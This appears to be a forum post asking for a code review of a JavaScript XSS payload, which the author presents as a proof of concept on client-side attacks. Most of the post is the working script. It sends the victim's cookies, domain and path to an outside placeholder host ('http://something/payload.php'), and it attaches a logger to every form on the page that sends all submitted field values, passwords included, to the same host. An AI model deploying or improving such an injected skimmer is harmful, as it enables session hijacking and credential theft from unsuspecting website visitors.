I am coding a proof of concept on the danger of JavaScript poisoning, XSS and other client side attacks.
Therefore, I coded some JavaScript payloads. As I am not very familiar with JavaScript (I actually hate this language). I would really appreciate if you could give me some recommendations in order to improve the code (logic, syntax, efficiency, more explicit name for the functions).
For example, I am aware that I am not making a good use of the callback (I am calling two times getIP
when I could call it once and store the IP somewhere but I haven't managed to find how to do that) or my ajaxRequest
method which is very similar to my getIP
method. My only one requirement is using only pure JavaScript.
function ajaxRequest(data) {
var xhttp = new XMLHttpRequest();
var url = "http://something/payload.php?"+data;
xhttp.open("GET", url, true);
xhttp.send();
}
function getIP(callback) {
var xhttp = new XMLHttpRequest();
var url = "http://something/payload.php?action=getIp";
xhttp.onreadystatechange = function() {
if (xhttp.readyState == 4 && xhttp.status == 200) {
var jsonObj = JSON.parse(xhttp.responseText);
callback(jsonObj.ip);
}
};
xhttp.open("GET", url, true);
xhttp.send();
}
function grabDomain(victimIp) {
var data = "action=grabDomain&victimIp="+victimIp+"&domain="+document.domain+"&location="+location.pathname+"&cookie="+document.cookie;
console.log(data);
ajaxRequest(data);
}
function addFormsKeyLogger(victimIp) {
var forms = document.getElementsByTagName("form");
for (i = 0; i < forms.length; i++) {
addFormKeyLogger(victimIp, forms[i]);
}
}
function addFormKeyLogger(victimIp, form) {
form.addEventListener("submit", function() {
var elements = form.elements;
var formData = "";
for (j = 0; j < elements.length; j++) {
formData += elements[j].name + "=" + elements[j].value + "|";
}
if (formData) {
sendForm(victimIp, formData);
}
}, false);
}
function sendForm(victimIp, formData){
var data = "action=grabForm&victimIp="+victimIp+"&domain="+document.domain+"&location="+location.pathname+"&data="+formData;
console.log(data);
ajaxRequest(data);
}
function run() {
// We steal the cookies - improvement steal http-only cookies
getIP(grabDomain);
// We steal the data sent through the forms
getIP(addFormsKeyLogger);
}
run();